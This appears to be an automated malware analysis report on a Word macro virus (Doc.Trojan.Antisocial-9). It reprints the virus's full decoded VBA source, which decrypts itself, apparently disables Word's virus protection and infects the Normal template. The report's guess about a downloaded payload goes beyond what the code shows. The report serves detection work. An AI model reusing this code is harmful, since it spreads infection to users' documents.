Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 2665338413d58e30…

MALICIOUS

Office (OLE)

53.5 KB Created: 2000-08-10 12:03:00 Authoring application: Microsoft Word 9.0 First seen: 2012-06-14
MD5: 5056f9ed55818dc130ec45eaad684222 SHA-1: ea922b9abc370dae657313deeec487a2d8f614e3 SHA-256: 2665338413d58e30ed8ccef40ad95414d52fbc4979aaf41d2bbea7f2cc3d038c
180 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1566.001 Spearphishing Attachment

The sample contains VBA macros, specifically a Document_Open macro, which is a common technique for malicious documents. The script is heavily obfuscated, making it difficult to determine the exact payload, but the presence of the Document_Open macro and the obfuscation strongly suggests it's designed to download and execute a secondary malicious payload. The ClamAV detection further confirms its malicious nature.

Heuristics 3

  • ClamAV: Doc.Trojan.Antisocial-9 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Trojan.Antisocial-9
  • VBA macros detected medium 1 related finding OLE_VBA_MACROS
    Document contains VBA macro code
  • Document_Open macro high OLE_VBA_DOCOPEN
    Document_Open macro

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 2124 bytes
SHA-256: d1dff8f18b84503b94bccac15d2d5b09781530424ac60475c5ee321b46c0ee6d
Detection
ClamAV: Doc.Trojan.Antisocial-9
Obfuscation or payload: unlikely
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True
Private Sub document_open(): On Error Resume Next
If Left(ThisDocument.VBProject.vbcomponents(1).codemodule.lines(28, 1), 1) = "'" Then
For e = 28 To 44
rajt = Right(ThisDocument.VBProject.vbcomponents(1).codemodule.lines(e, 1), (Len(ThisDocument.VBProject.vbcomponents(1).codemodule.lines(e, 1)) - 1))
ThisDocument.VBProject.vbcomponents(1).codemodule.replaceline e, rajt
Next
For we = 28 To 44
naskod = ThisDocument.VBProject.vbcomponents(1).codemodule.lines(we, 1)
For df = 1 To Len(naskod)
novi = novi & Chr(Asc(Mid(naskod, df)) - 7)
Next
ThisDocument.VBProject.vbcomponents(1).codemodule.replaceline we, novi
novi = ""
Next
string_boy
Else
For we = 28 To 44
naskod = ThisDocument.VBProject.vbcomponents(1).codemodule.lines(we, 1)
For df = 1 To Len(naskod)
novi = novi & Chr(Asc(Mid(naskod, df)) + 7)
Next
ThisDocument.VBProject.vbcomponents(1).codemodule.replaceline we, Chr(39) & novi
novi = ""
Next
End If
End Sub
Private Sub string_boy()
'Jvuz{'u|sh'D'7
'Kpt'h3'i3'j3'kA'Zl{'i'D'[opzKvj|tlu{A'Vw{pvuz5]py|zWyv{lj{pvu'D'u|sh
'Pm'i'D'Hj{p}lKvj|tlu{'[olu'Zl{'j'D'Uvyths[ltwsh{l'Lszl'Zl{'j'D'Hj{p}lKvj|tlu{
'k'D'i5]IWyvqlj{5}ijvtwvulu{z/805jvkltvk|sl5spulz/83'f
'i5]IWyvqlj{5}ijvtwvulu{z/805jvkltvk|sl5jv|u{vmspulz0A'h'D'Z{ypunz5SJhzl/k0
'^p{o'j5]IWyvqlj{5}ijvtwvulu{z/805jvkltvk|sl
'n'D'5spulz/:=3'80
'Pm'n'CE').z{ypunfiv€)'[olu
'^p{o'j5]IWyvqlj{5}ijvtwvulu{z/805jvkltvk|sl
'5klsl{lspulz'83'j5]IWyvqlj{5}ijvtwvulu{z/805jvkltvk|sl5jv|u{vmspulz
'5puzly{spulz'83'h
'Luk'^p{o
'Luk'Pm
'Luk'^p{o
'Pm'Kh€/Uv~/00'D'>'[olu
'TznIv ')p.ht'hsp}l()3'}iJyp{pjhs3')z{ypunfiv€)
'Luk'Pm
End Sub
'string_boy
'10x to jackie for help on encryption
'greetz to all ppl on #virus and #vxtrader
'SP. greetz to BiHNet.ORG and -=PU=-
Private Sub Document_Close()
document_open
End Sub